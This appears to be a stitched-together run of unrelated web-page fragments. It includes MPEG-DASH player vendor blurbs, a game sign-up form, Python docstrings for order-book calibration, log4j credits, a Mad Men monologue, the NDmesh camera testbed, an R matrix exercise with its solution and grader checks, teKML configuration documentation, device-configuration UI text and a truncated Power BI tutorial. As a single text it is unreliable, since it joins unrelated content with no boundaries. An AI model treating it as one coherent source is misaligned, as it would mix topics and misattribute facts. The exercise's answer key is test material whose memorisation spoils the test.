BuyDRM™ is a leading provider of DRM Services and Solutions for the entertainment, enterprise and education industries with customers spanning the globe. With 12 years of market-leading experience in implementing commercial DRM solutions and media technologies, BuyDRM™ has amassed substantial success stories for many of today’s largest brands. For more information please visit https://www.buydrm.com
castLabs pioneers software and cloud services for digital video markets worldwide. We understand how building video players can present a heavy development effort, especially when considering the selection of screens consumers wish to use.
Our range of PRESTOplay software development kits (SDKs) save time and money by greatly simplifying player application development across desktops, mobiles, TVs, game consoles, set-top-boxes, and VR.
PRESTOplay provides the versatility to create high-quality bespoke players for your customer’s preferred screens offering them rich playback experiences they expect. Available with support for popular streaming technologies and a fully customizable UI, service providers benefit from integration efficiency with an extensive set of features ready-to-use. DRM-encrypted live, on-demand, and offline adaptive bitrate playback using the latest standards has never been easier!
- Available for desktops, browsers, Android and iOS devices
- Offline, VoD, and live playback
- MPEG-DASH, HLS, and Smooth Streaming ABR support
- DRM support for studio content playback
- Multi-language audio & subtitles
- Fully customizable UI
- Common ABR algorithm for consistent cross-platform experience
- IMA/VAST ads
- QoE & analytics integrations
Digital Primates is an elite consultancy focused on high performance client-side applications. With specialties in video, mobile and enterprise development, Digital Primates has built video players for some of the world’s most watched live events, and often works with many of the world’s biggest brands. Digital Primates has offices in Chicago and New York City and can be reached at<EMAIL_ADDRESS>InterDigital is offering an SDK for design of DASH streaming clients for mobile devices, such as Android smartphones and tablets. A unique feature of the InterDigital SDK is the capability to optimize video delivery based on analysis of user behavior and viewing conditions, including the user’s proximity to the display, display density, and ambient light. Such optimizations result in reduced bandwidth needs, easing load on wireless networks and improving user experience.
More information about InterDigital user-aware video technology and DASH client SDK can be found at User-Adaptive-Streaming_White-Paper_04_16_2013-1.pdf or by searching for “video streaming” at https://vault.interdigital.com.
NexStreaming is a global multimedia software company listed at KOSDAQ (139670) with more than 15 years in the market and focusing on the development of premium multimedia software. The main product of NexStreaming is NexPlayer, the market leader Player SDK for Android, iOS, Tizen and HTML5 apps. The most popular video service providers worldwide include NexPlayer in their mobile apps to enable MPEG-DASH and HLS high quality streaming across all devices with Widevine or any other DRM content protection. NexStreaming is well known for its 24⁄7 dedicated and personalized customer support and for its continuous player SDK upgrades with the latest technologies. You can visit https://www.nexplayersdk.com and try NexPlayer SDK.
Key Facts:
- Android, iOS, HTML5, Amazon Fire TV, Unity, Chromecast, STBs, Tizen TV supported
- MPEG-DASH and HLS with intelligent ABR algorithms
- Multiple video/audio tracks
- TTML, WebVTT, CEA608/708 advanced closed captioning
- VAST and compatibility with any other ad insertion solution
- 360 video
- Multiple integrated Add-ons: Dolby, Conviva, Agama, DTS, Yospace…
- Server/Client Time-shifting
- Offline playback, Offline HLS
- Multiple DRM support: Widevine, PlayReady, Verimatrix…
- CMAF (Common Media Application Format) support
- Customizable
THEOplayer is the leading HTML5 based video player is delivering a world-class viewer experience with no plugins. THEOplayer has support for HLS and MPEG-DASH fully in HTML5. It removes the need for plug-ins such as Flash or Silverlight, or streaming video content with multiple protocols. THEOplayer has proven compatibility with industry-leading solutions for streaming, DRM and Dynamic Ad Insertion. It dramatically simplifies distributing video content online.
Key features:
- Adaptive playback of MPEG-DASH and HLS
- Video-on-Demand, Live and DVR streaming
- Proven compatibility with streaming solutions from Elemental Technologies, Envivio, Fabrix, Microsoft Azure Media Services, Unified Streaming, Imagine Communications, Wowza, …
- Support as well for non-MSE browsers (such as IE10 or IE11 on Windows 7) fully in HTML5 without plugins
- Cross-platform DRM with Common Encryption, Widevine and PlayReady
- Support for CMAF (Common Media Application Format)
- UI or fully chromeless depending on specific needs
- Managed cloud hosted or self-hosted depending on specific needs
- Advanced reporting and analytics
Playback features:
- Multi-audio tracks
- Seamless multi-period playback for MPEG-DASH
- Subtitles: CEA608/708, WebVTT, TTML
- Trick play: slow motion and high speed playback
- Frame accurate seeking
- Integrates with Nielsen DTVR (Digtal Television Ratings)
- Ads support: VAST, VPAID2, VMAP, …
- Dynamic Ad Insertion (Yospace partnership)
A complete feature overview can be found in our knowledge base: https://support.theoplayer.com. For more information visit www.theoplayer.com
Qualcomm has developed a DASH streaming client for the Android platform running on Snapdragon processors. The Qualcomm DASH client is integrated with the Android multimedia framework, which allows the client to be utilized from any application or the web browser. The Qualcomm DASH client supports both the on-demand and live profile. The optimized rate adaptation algorithms are tuned on Snapdragon to handle the highly variable wireless channels common in 3G/4G systems. Qualcomm is committed to making DASH a success and makes its Qualcomm DASH client available to its OEM partners in the most recent versions of Snapdragon processors.
For further infomation contact Aytac Biber ‘abiber at qti.qualcomm.com’
Streamline content delivery to mobile devices
In a multi-platform world, distributing media consistently can be a challenge. Helix SDK for Android is the ready-to-go development package that lets you easily extend your content and services to Android. With full support for MPEG-DASH, Helix SDK turns Android devices 2.2 – 4.x into MPEG-DASH-compatible playback clients.
Helix SDK lets you:
- Deliver a superior MPEG-DASH-compatible streaming experience
- Streamline operations for different versions of Android devices
- Provide predictable performance across Android
- Support revenue-generating services, such as media rental and purchase
Key features:
- Support for MPEG-DASH turns Android devices (2.2 – 4.x) into MPEG-DASH-compatible playback clients.
- Over-the-air deployment lets you build core media capabilities directly into applications and avoid device-specific integration to help reduce costs and allow for consistent implementation.
- Digital rights management through Verimatrix and Microsoft PlayReady DRM helps ensure streaming and downloaded content is protected when delivered across open delivery networks.
- HTTP live streaming (HLS) support gives Android users a superior streaming experience such as those enjoyed on iOS devices – helping to increase service usage and adoption.
- Consistent Android and iOS processes help lower development costs and speed up time to market.
Helix SDK is part of the Helix Media Delivery Platform from RealNetworks which helps organizations encode, manage and securely deliver media for a wide range of platforms, formats and devices. Learn more about Helix SDK or contact us for a free demonstration to see how Helix SDK can help you deliver MPEG-DASH-compatible content and services on Android devices.
StreamOne Player is a flexible high-performance html5 video player which prefers DASH, but also supports HLS and progressive streaming. It offers support for VAST/VPAID advertising, advanced analytics/events, skinning, plugins. A product overview can be supplied if required. More information and a preliminary demo are available here: https://www.streamone.nl/player
Viaccess-Orca is a leading global solutions provider of OTT and TV platforms & content protection. Part of this large product portfolio, VO Player is a secure video player used by millions of users every month across the blog providing following benefits:
- Unified experience across Android, iOS, PC, Mac, STBs, smartTVs
- Compliance with content owner’s security requirements and sports’ leagues
- Working with all major DRMs in the market and featuring forensic watermarking integration
- Offline viewing including on PC/Mac
- DASH, CMAF, HLS and MSS with configurable ABR stack
- Multi-language and Audio from OTT and DVB
- VAST, VMAP, SCTE-35 Advertising
- Pre-integrated within many ecosystems like app vendors, origin servers, cms, drm, analytics, advertising
- Innovative UX such as HD perception at 1Mbps, instant start-up, Low Live latency, 360 video
Viaccess-Orca is part of the Orange Group with more than 300 employees based in France (headquarters), Israel, Finland, US and Singapore.
OnStream® MediaPlayer+ is a commercial multimedia player development kit enabling cross-platform content retrieval and playback on connected devices including mobile handsets, tablets, laptops, desktops, set-top boxes, and smart TVs.The OSMP+ toolkit incorporates a set of highly optimized software multimedia codecs for popular formats (HEVC/H.265, H.264, AAC, etc.), as well as support for multiple live and VOD streaming protocols, including MPEG-DASH. Our DASH protocol solution is constantly validated by continuous inter-operability testing with a dozen encoding/streaming partners.The toolkit includes must-haves such as support for closed captions, subtitles, multi-language, multi-audio, 3rd party DRM integration, ad insertion, and player analytics. Providers can further differentiate their service with premium sound, Dolby® for example.
Deployed globally with large and small content delivery operators, the player provides a high-quality, reliable, and consistent user experience across platforms such as Android, iOS, Windows, and Mac OS. Cross-platform development is facilitated through the uniform APIs. The code base is device/CPU/OS independent and solves the fragmentation problem.VisualOn, Inc. is a Silicon Valley-based multimedia software company that enables rich entertainment experiences across mobile and connected devices. VisualOn’s unique patented technology is designed for ease of integration, with optimized quality, performance, and minimal power consumption.For more information, please visit www.visualon.com.


Events
Screenshots
Character
Play Now!
REGISTRATION FORM
Your name
Your age
Gender
Male
Female
Attack Helicopter
Sexually Attracted to Indomie
Region
Asia
Europe
Australia
Your username
Email
Password
Password Validation
I have read and agree to the
END USER LICENSE AGREEMENT


Global Data
Rank
Country
Total Cases
New Cases
Total Deaths
New Deaths
Active Cases
Total Recovered
Critical Cases


| | |
- calibrate_mrevdynamics_lobster_rf(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, num_levels_calc, ntimepoints_grid, ntimesteps_cal, ntimesteps_nextcal, cal_to_average=False, cal_to_average_classic=False)
- Calibrates mean reverting model to order book volume loaded from lobster data
-----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
num_levels_calc,
ntimepoints_grid,
ntimesteps_cal,
ntimesteps_nextcal,
cal_to_average=False calibration to total volume (if False) in the first buckets or average
cal_to_average_classic=False calibration to total volume (if False) in the first buckets or average - by just averaging after extraction
- calibrate_profile_lobster_full(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, num_levels_calc, time_cal)
- Splits the day into time intervals of specified size and fits the model profile to the average profile of the order book from lobster data. 4 different fitting methods are used. In addition, the average profile for the whole day will be fitted.
-----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
num_levels_calc,
time_cal time for averageing in ms
- calibrate_profile_lobster_new(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, num_levels_calc, time_cal, cal_method_profile='LSQF')
- Splits the day into time intervals of specified size and fits the model profile to the average profile of the order book in the respective periods, reading lobster data. In addition, the average profile for the whole day will be fi
-----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
num_levels_calc,
cal_method_profile="LSQF",
time_cal time for averageing in ms
- extract_price_lobster(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, ntimepoints_grid)
- Extract the volume process from lobster and save as csv and plots
----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
ntimepoints_grid if None, then the process is extracted for all time points in the data, else a uniform grid is created
OUTPUT:
produces files with identifier: volume
- extract_volume_lobster(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, num_levels_calc, ntimepoints_grid)
- Extract the volume process from lobster and save as csv and plots
----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
num_levels_calc,
ntimepoints_grid if None, then the process is extracted for all time points in the data, else a uniform grid is created
OUTPUT:
produces files with identifier: volume
- vol_estimation(ticker_str, date_str, time_start_data, time_end_data, time_start_calc, time_end_calc, num_levels_data, num_levels_calc, ntimepoints_grid, ntimesteps_cal, ntimesteps_nextcal, ntimesteps_snapshot=None)
- Predicts the volatility of the price by volatility of the log market depths
-----------
args:
ticker_str,
date_str,
time_start_data,
time_end_data,
time_start_calc,
time_end_calc,
num_levels_data,
num_levels_calc,
ntimepoints_grid,
ntimesteps_cal,
ntimesteps_nextcal,
cal_to_average=False calibration to total volume (if False) in the first buckets or average
cal_to_average_classic=False calibration to total volume (if False) in the first buckets or average - by just averaging after extraction
|


The project history gives a brief summary of changes and additions. Users frequently report bugs that are solved in newer versions of log4j. Please have a look at the history file before asking for help.
The project's official URL is http://logging.apache.org/log4j.
Many thanks to all the log4j users who keep sending us input and sometimes even praise for our collective effort. The first ancestor of log4j was written for the E.U. sponsored SEMPER project. N. Asokan, Ceki Gülcü and Michael Steiner came up with the idea of hierarchical loggers back in 1996. Their idea is still at the heart of log4j. The package was considerably improved over the years at the IBM Zurich Research Laboratory. However, log4j is no longer associated nor supported by IBM.
Special thanks to M. Niksch from ZRL for his assistance on many large and small matters. The Apache members, Pier Fumagalli and Sam Ruby in particular, have been extremely helpful in easing the move to Apache.
The log4j logo was designed and kindly donated by Cyberlab SA of Switzerland.


Marketing Via Mad Men
Well, technology is a glittering lure. But, uh, there is the rare occasion when the public can be engaged on a level beyond flash, if they have a sentimental bond with the product. My first job, I was in-house at a fur company, with this old-pro copywriter, a Greek named Teddy. Teddy told me the most important idea in advertising is new. Creates an itch. You simply put your product in there as a kind of calamine lotion. But he also talked about a deeper bond with the product. Nostalgia. It’s delicate, but potent. Sweetheart. Teddy told me that in Greek, “nostalgia” literally means “the pain from an old wound”. It’s a twinge in your heart far more powerful than memory alone. This device isn’t a spaceship, it’s a time machine. It goes backwards, forwards, takes us to a place where we ache to go again. It’s not called the wheel. It’s called the carousel. It lets us travel the way a child travels. Round and around, and back home again, to a place where we know we are loved.


The NDmesh network is a wireless testbed system consisting of several router boxes scattered across the rooftops of Notre Dame's campus. The boxes include Libelium's meshLium router hardware connected to a GPS receiver, wireless antennae for 802.11a and 802.11b/g, and an ethernet connection to a Panasonic surveillance camera; the entire setup is powered by a solar panel and battery combination. Routers connect to each other with the long-range 802.11a radios while using 802.11b/g to provide connectivity to mobile devices, such as laptops and Wifi-enabled mobile phones. These rooftop devices, known as Non-Gateway Routers (NGWs), provide Internet connections by using Optimized Link State Routing Protocol to find a path to one of two Gateway Routers (GWs), which lack cameras but instead connect to the main campus networks and the outside world.
The purpose of this project is to tap into the cameras on the NGW routers, allowing users to look at snapshots or video feeds and to adjust the viewing angle with a simple and easy-to-use web interface. The figure below provides an overview of the network architecture:
snoopy.cse.nd.edu - Here resides an Apache Web Server and a MySQL database, along with several Perl scripts for managing them and for interfacing with the NDmesh network.
Gateway Router - There are currently two of these one the NDmesh network; running on them are a multithreaded C server, capable of accepting multiple simultaneous connections from Snoopy and establishing for each of them a link to a NGW Router.
Non-Gateway Router - Twelve of these are present on the network at this time; a similar multithreaded C server accepts connections from the GWs, establishes links to the cameras, and forwards commands and responses between them.
Camera - These Panasonic commercial cameras have a closed-source web server installed, with which the NGW server can interact.
Use the menu at top left to explore this site, or follow the links below for code and the development wiki.


Users Table
| User | Date | Location | Speciality | Likes | Dislikes | Status | Actions |
|---|---|---|---|---|---|---|---|
| {{user.User}} | {{user.Date}} | {{user.Location}} | {{user.Specialty}} | {{user.Likes}} | {{user.Dislikes}} | {{user.Status}} | |
| User | Date | Location | Speciality | Likes | Dislikes | Status | Actions |
| User | Date | Location | Speciality | Likes | Dislikes | Status | Actions |
|---|---|---|---|---|---|---|---|
| {{user.User}} | {{user.Date}} | {{user.Location}} | {{user.Specialty}} | {{user.Likes}} | {{user.Dislikes}} | {{user.Status}} | |
| User | Date | Location | Speciality | Likes | Dislikes | Status | Actions |


fun closeDataFragment(): void
Closes given view's data fragment by clearing the markers, opening that view as a layer in DataViewActivity and resetting map padding and home buttons.
view
- view which data fragment is to be closed
popBackStack
- if true fragment manager's back stack is popped


PROJECT
Abstract
This article describes the use of the Deep Deterministic Policy Gradient network, a deep reinforcement learning algorithm, for mobile robot navigation. The neural network structure has as inputs laser range findings, angular and linear velocities of the robot, and position and orientation of the mobile robot with respect to a goal position. The outputs of the network will be the angular and linear velocities used as control signals for the robot. The experiments demonstrated that deep reinforcement learning’s techniques that uses continuous actions, are efficient for decision-making in a mobile robot. Nevertheless, the design of the reward functions constitutes an important issue in the performance of deep reinforcement learning algorithms. In order to show the performance of the Deep Reinforcement Learning algorithm, we have applied successfully the proposed architecture in simulated environments and in experiments with a real robot.
MEDIA
Video


Reports if manifest files do not end with a final newline as required by the JAR file specification.


It is now time to get your hands dirty. In the following exercises you will analyze the box office numbers of the Star Wars franchise. May the force be with you!
In the editor, three vectors are defined. Each one represents the box office numbers from the first three Star Wars movies. The first element of each vector indicates the US box office revenue, the second element refers to the Non-US box office (source: Wikipedia).
In this exercise, you'll combine all these figures into a single vector. Next, you'll build a matrix from this vector.
c(new_hope, empire_strikes, return_jedi)
to combine the three vectors into one vector. Call this vector box_office
.matrix()
function to do this. The first argument is the vector box_office
, containing all box office figures. Next, you'll have to specify nrow = 3
and byrow = TRUE
. Name the resulting matrix star_wars_matrix
.
# Box office Star Wars (in millions!)
new_hope <- c(460.998, 314.4)
empire_strikes <- c(290.475, 247.900)
return_jedi <- c(309.306, 165.8)
# Create box_office
box_office <-
# Construct star_wars_matrix
star_wars_matrix <-
# Box office Star Wars (in millions!)
new_hope <- c(460.998, 314.4)
empire_strikes <- c(290.475, 247.900)
return_jedi <- c(309.306, 165.8)
# Create box_office
box_office <- c(new_hope, empire_strikes, return_jedi)
# Construct star_wars_matrix
star_wars_matrix <- matrix(box_office, nrow = 3, byrow = TRUE)
msg <- "Do not change anything about the box office variables `new_hope`, `empire_strikes` and `return_jedi`!"
test_object("new_hope", undefined_msg = msg, incorrect_msg = msg)
test_object("empire_strikes", undefined_msg = msg, incorrect_msg = msg)
test_object("return_jedi", undefined_msg = msg, incorrect_msg = msg)
test_object("box_office", incorrect_msg = "Have you correctly combined the values of `new_hope`, `empire_strikes` and `return_jedi` into the vector `box_office`?")
test_function("matrix", c("data", "nrow", "byrow"),
incorrect_msg = "Make sure to correctly specify the arguments you pass to `matrix()`: `box_office`, `nrow = 3`, `by_row = TRUE`.")
test_object("star_wars_matrix",
incorrect_msg = "Did you assign the result of the `matrix()` call to `star_wars_matrix`?")
success_msg("The force is actually with you! Continue to the next exercise.")
box_office <- c(new_hope, empire_strikes, return_jedi)
will combine all numbers in the different vectors into a single vector with 6 elements.matrix(box_office, nrow = ..., by_row ...)
is a template for the solution to the second instruction.


teKML - Time-Enabled KML Conversion Library - is a Java API and commandline application for converting geodata vector files with time attributes into KML with time elements. Geographic data files in many vector formats (including Shapefiles) can be converted with teKML using the ogr2ogr utility program from FWTools.
For geodata source files in formats other than KML, the ogr library from FWTools is used to initially convert to KML. However, the initial ogr conversion process does not reformat the time attributes into KML time elements. teKML subsequently takes KML files (including ogr-converted KML files, ArcMap's Export to KML files, or GoogleEarth produced KML files) and converts them to KML version 2.1, following the KML specification for adding time elements.
The particular conventions of the time attributes such as the identifying labels for the pertinent fields and the time format are specified in a configuration file for a given workflow along with other instructions to teKML.
teKML is release under the Apache Software License. Also, teKML uses the following opensource libraries and applications. All but ogr are distributed with teKML.
| Apache Commons | Apache Software License |
| Log4J | Apache Software License |
| Woodstox | Apache Software License |
| StAX API | Apache Software License |
| ogr | X Consortium style license |
The commandline usage is:
java -jar tekml.jar -c <config-file> -src <input-file or -dir> -dest <output-dir>
To simplify reuse a sample scripts are provided, tekml.sh for Linux and tekml.bat for Windows, which with a minimum of customization will facilitate running the application, reducing the command to:
tekml <input-file>
Proper editing of a configuration file is required for proper results. See below.
Full path information for files and directories is not required as long as the relative path can be resolved. For convenience, the configuration file has a base.path option which is applied to the source and destination directories, but obviously not for itself.
In the case of a processing error, usually due to the mismatch of expected content in the source file and the config file, an error message is written to the console and the output file is deleted
Input files must be geodata files recognized by ogr or KML files. See the ogr documentation for the extensive list of these. In either case, they must contain time elements in an attribute table for each Placemark or have a fixed time element for all Placemarks defined in the config file.
The encoding of the text in the source data files must be in UTF-8 in order to convert to KML properly.
teKML uses the Apache log4j library. The output is configurable via the log4j.properties file in the config directory. The default setup writes INFO, WARNings and ERRORs to the console and writes a detailed log to the file named tekml.log, once per application run, overwriting the previous run.
The organization of source geodata files and the resulting output files is flexible in teKML. However, without a patterned workflow, confusion can result. The distribution package provides an "examples" directory with several projects organized according to a recommended workflow.
The software used to generate the KML varies according to how it writes the attribute table in the Folder/description/CDATA element. Further, the user who created the original geodata file also used attribute labels that need to be known by teKML. teKML uses configuration files to coordinate the use of all such information. For each set of geodata files with similar attribute table characteristics, a separate project directory, configuration file, and script is recommended. The examples show the project organization:
prj/ input-files/ output-files/ config.properties tekml.sh
However, the location of any of these directories and files can vary to suit the project at hand.
The example configuration files are well-docmented as to all of the available options and the possible values. The following is a generic example:
# teKML configuration file for use with geodata files to be converted to KML config.version=1.0 #default base path location of input files #relative paths will be appended to this value #windows example -> base.path=C:\\teKML\\examples\\win #linux example -> base.path=./geodatafiles base.path=C:\\teKML\\examples\\win #output kml filename tag, added before '.kml' extension, e.g. mygeodata-te.kml for input file mygeodata.shp #required so as to not overwrite the source file; default is -te; kml.filename.tag=-te # creator of KML files, valid values are 'ogr2ogr', 'avexp', 'googleearth' and 'other' kml.generator=avexp #ogr2ogr properties #the vanilla ogr2ogr conversion to KML #ogr2ogr.exec='ogr2ogr -f KML ' #an extension for use with projected values that need to be put back to coordinate values #ogr2ogr.exec='ogr2ogr -f KML -t_srs "+proj=latlong" ' #instruction to transform geodata file to KML using ogr2ogr #this value should only be set to true for source data files not already in KML format geodata.transform=false #date format for time values in the attribute table or fixed values given below #valid values are 'iso8601' or any date expressed by Java Data formatting - see User Guide kml.time.source.format=iso8601 #resolution of date format, value values are 'day', 'month', 'year' kml.time.source.resolution=year #time data source; valid values are 'fixed' or 'attribute.table' kml.time.source=attribute.table #fixed date values #must be expressed in iso8601 format kml.time.fixed.begin= kml.time.fixed.end= kml.time.fixed.timestamp= # user-defined label for name element in attribute table - used for Placemark name attrib.table.label.name=Name # user-defined labels for time elements in attribute table # list multiple values with commas and spaces # these are used by teKML as regular expressions - see User Guide attrib.table.label.begin=Begin_Year, BEG_YR, BEGIN, begin attrib.table.label.end=End_Year, END_YR, END, end attrib.table.label.timestamp=Year #flag to validate output against schema kml.validate=false kml.validate.schema=./resources/kml21.xsd #user text for teKML comment kml.comment=test comment
The KML specification for version 2.1 uses the XML Schema date specification which in turn uses ISO8601. teKML writes output KML files with dates in this format in the time elements. teKML only implements dates without day subdivision elements (hour, min, sec, etc.). That is, the following are valid KML dates for use here. Dates BCE are notated with a leading negative sign per the ISO8601 spec.
The reason for this limitation is that the initial use of teKML was intended for historical data with primarly years as the time elements.
If the dates in the source file attribute tables are in the ISO8601 format, then use the value iso8601 in the configuration file. For input purposes only, the requirement of leading zeroes for years with less than four digits is not required as the parsing of these dates is set to lenient. Output will be with leading zeroes as required by the spec. Note that GoogleEarth will not display the leading zeroes in the time bar.
Source dates are usually not in ISO8601 format. In order to convert to the required normal form, teKML accepts dates formats described by a format string taken from the Java SimpleDateFormat class.
Elements that can be used here are:
| G | Era designator, either AD or BC. Default is AD. |
| yyyy or yy | year |
| MM | month as 1 or 2 digits |
| MMM | month as text abbreviated per the default locale |
| dd | day as 1 or 2 digits |
'MMM dd, yyyy' will match: "Jan 3, 1984"
'yyyy-MM-dd' will match: "1999-09-04" as well as "1999-9-4"
'dd MMM yyyy G' will match: "15 Mar 0004 AD"
The configuration file requires the specification of a date/time resolution, that is, the precision of the value that is rendered in formatting. In most programming libraries, setting a date to the value "1965" results in the rendered value "Jan 1, 1965". By setting the resolution in teKML to "year", the value is truly "1965" which is valid as a date (technically a gYear) in the ISO8601 specification. Setting a resolution also results in a uniform date type throughout the resulting output.
The teKML application's properties are maintained in the file "teKML.properties" located in the "config" subdirectory of the distribution. For each of the known KML generators the expected attribute table features are specified, that is, the row separator and the row pattern. Both of these are expressed as Regular Expressions and can be changed to suit the realities of the generated KML. A placeholder for another generator called "other" is provided for an as yet unknown KML generator.
Generally, these values will work equally on Linux and Windows. However, if the row separator involves a line break as with the GoogleEarth export, this may be different.
# teKML.properties # #kml namespace - will replace namespace of incoming kml kml.namespace=http://earth.google.com/kml/2.1 # ogr2ogr rendering of embedded attribute table ogr2ogr.table.row.separator= ogr2ogr.table.row.pattern=^([A-Z_]*)\\: (.*)$
ogr2ogr.table.row.name.group=1 ogr2ogr.table.row.value.group=2 # ArcView KML Export Extension rendering of embedded attribute table avexp.table.row.separator= avexp.table.row.pattern=^(.+) = ?(.*)$ avexp.table.row.name.group=1 avexp.table.row.value.group=2 #GoogleEarth KML Export ge.table.row.separator=\\n ge.table.row.pattern=^(.+)=(.*)$ ge.table.row.name.group=1 ge.table.row.value.group=2 #other generator generator.table.row.sep=
 generator.table.row.pattern=
(w+)	(w+)	 generator.table.row.name.group=1 generator.table.row.value.group=2
The package edu.harvard.cga.gtools.tekml.pdate contains a specialized date library. None of its classes are dependant on anything in the tekml class, but rather builds on the standard Java date classes and follow the pattern of java.util.Date and java.text.DateFormatter using delegation rather subclassing. Its motivation is twofold:
The package edu.harvard.cga.gtools.tekml is designed to support alternative applications, such as the addition of a gui application or use by another Java development scenario.


LB_ on SSID
LocoNet Configuration
WiFi Configuration
Information
Reboot
reportStatus(page);
<
Loconet
LocoNet Configuration
<
Configuration
⟳
Network List
*Hint: To reuse the saved WiFi credentials, leave SSID and PWD fields empty
Mode
AP
Client
SSID
Password
Mode
DHCP
Static
Static IP
Gateway IP
Subnet
DNS1 IP
DNS2 IP
Save
<
WiFi Information
Device Data
Name
Value
Chip ID
Chip OUI
Chip Model
Flash Chip ID
IDE Flash Size
Real Flash Size
Access Point IP
Access Point MAC
Access Point SSID
Station IP
Station MAC
Station SSID


IgeUiTooltip CLASS
Declared in IgeUiTooltip.js
Provides a UI tooltip. Change properties (textBox, fonts, backgroundcolor) at free will.
Methods
init
init({} parent, {} mountEntity, {} width, {} height, {} content)
- {}parent Where the mousemove is captured i.e. on which element the tooltip should appear
- {}mountEntity Where the tooltip should be mounted. A scene is suggested.
- {}width Width of the tooltip
- {}height Height of the tooltip
- {}content The content which is set with public method "setContent". Can be string, array(2) or an entity
width
Extended method to auto-update the width of the child font entity automatically to fill the text box.
width({} px, {} lockAspect, {} modifier, {} noUpdate)
- {}px
- {}lockAspect
- {}modifier
- {}noUpdate
Returns {*}
height
Extended method to auto-update the height of the child font entity automatically to fill the text box.
height({} px, {} lockAspect, {} modifier, {} noUpdate)
- {}px
- {}lockAspect
- {}modifier
- {}noUpdate
Returns {*}
setContent
Sets the content of the tooltip. Can be a string for simple text, an array with two strings for text and title or a whole entity
setContent({} val)
- {}val The content, be it string, array(2) or an entity
Returns {*}
fontSheet
Gets / sets the font sheet (texture) that the text box will use when rendering text inside the box.
fontSheet({} fontSheet)
Returns {*}
_mousemove
Handles mousemove event to show the textbox and adjust its position according to the mouse position
_mousemove({} event)
_mouseout
Handles mouseout event to hide the tooltip
_mouseout({} event)


NSString(MBExpression) Category Reference
| Declared in | MBExpressionExtensions.h |
|---|
Overview
This NSString
class category adds methods for evaluating expressions
directly from NSString
instances.
– evaluateAsObject
Evaluates the receiver as an expression returning an object.
- (nullable id)evaluateAsObject
Return Value
The result of evaluating the receiver as an object expression.
Discussion
Equivalent to calling [MBExpression asObject:]
with the receiver as the
parameter.
Declared In
MBExpressionExtensions.h
– evaluateAsString
Evaluates the receiver as an expression returning a string.
- (nullable NSString *)evaluateAsString
Return Value
The result of evaluating the receiver as a string expression.
Discussion
Equivalent to calling [MBExpression asString:]
with the receiver as the
parameter.
Declared In
MBExpressionExtensions.h
– evaluateAsNumber
Evaluates the receiver as an expression returning a numeric value.
- (nullable NSDecimalNumber *)evaluateAsNumber
Return Value
The result of evaluating the receiver as a numeric expression.
Discussion
Equivalent to calling [MBExpression asNumber:]
with the receiver as the
parameter.
Declared In
MBExpressionExtensions.h
– evaluateAsBoolean
Evaluates the receiver as an expression returning a boolean value.
- (BOOL)evaluateAsBoolean
Return Value
The result of evaluating the receiver as a boolean expression.
Discussion
Equivalent to calling [MBExpression asBoolean:]
with the receiver as the
parameter.
Declared In
MBExpressionExtensions.h
– asVariableExpression
Returns an expression usable for referencing the MBML variable whose name is contained in the receiver.
- (nonnull NSString *)asVariableExpression
Return Value
A Mockingbird expression usable for referencing the variable named by the receiver.
Discussion
If the receiver contains the text “user
”, this method will return the
value “$user
”.
More complicated variable names will be returned in the correct form. For
example, if the receiver contains the text “total$
”, this method will
return “$[total$]
”.
Declared In
MBExpressionExtensions.h


Myslef Nitesh Dani currently studying in pre-final year at RCOEM .I'm a passionate Web Developer and have interest in Web Development(Backend) and Competitive Coding .I also love to learn new techonologies and focus on problem solving for different niches and different industries using the power of technology.
I will love to hear from you. Whether it's a project, job opportunity, or just a chat. Feel free to contact me.
URL-Shortener is a web app that help to shorten long urls. I have added features such as QR code scanning to scan the shortened url across all devices.
Made using Django and Python and hosted on heroku.
It is a Console project that provides user with a facility to book airline or railway ticket. Has user database maintained with the help of mysql. Provides user with facility of ticket printing and cancellation.
Made using Java and MySQL.
Developed a 2-D fun game known as Space Invader wherein we player has to kill aliens to earn points and ensure his survioval.
Made using Python and Pygame.


menu
photo_camera
fullscreen
Sites
menu
Global network
search
close
arrow_back
Global network
Subtitle
Sources
Relations
Add current website to Storyfinder?
The current website may not contain any suitable content. Do you want to add it to Storyfinder anyway?
Cancel
Add


--- layout: default title: Talks --- Talks {% for post in site.categories.talk %} {% include post-index-grid.html %} {% endfor %}


{% extends 'layouts/layout-app-new.html' %} {% block content %}
Your record may contain sensitive information. If someone is pressuring you for this information, contact your GP surgery immediately.
You have a legal right to access the information in your record.
" }) }}Your record shows personal data, such as your details, allergies and medications.
Depending on what your GP surgery shares, you may also see:


keyboard_arrow_down
keyboard_arrow_down
keyboard_arrow_down
keyboard_arrow_down
keyboard_arrow_down
keyboard_arrow_down
keyboard_arrow_down
RED
'S TURN


Home
Sign Up
About
Logout
Restaurant
Recommendation
Username:
Firstname:
Lastname:
Password:
Register


Hello World!
Yesterday the Power Bi team announced that Python is finally available as a preview in Power Bi Desktop.
For those of you who don't know Power Bi, it's a business analytics service by Microsoft that provides interactive visualizations with self-service business intelligence capabilities.
Python in Power Bi can be used in two ways: scripting and visualizations.
Python as Data Source
The first thing we need to do is to enable Python in Power Bi.
To do this we go to options then preview features and we enable Python Support.
Now that we have enabled the feature we can start working with Python.
To add a new Python Data Source we have to click on Get Data and the select Python Script.
Power Bi uses Pandas dataframe as python sources. In this example i'm going to use a Pokemon dataset found on Github: https://github.com/fanzeyi/Pokemon-DB .
Let's start coding:
df = pandas.read_json('https://raw.githubusercontent.com/fanzeyi/Pokemon-DB/master/pokedex.json')
With this simple code we can transform a Json file to a Pandas Dataframe and import it into Power Bi.
I'm going to remove some columns to keep only the data i want:
Now we need to convert the base column to a Json, otherwise Power Bi can't read the column correctly.
To do this we go back to the code and add this 2 lines:
import json
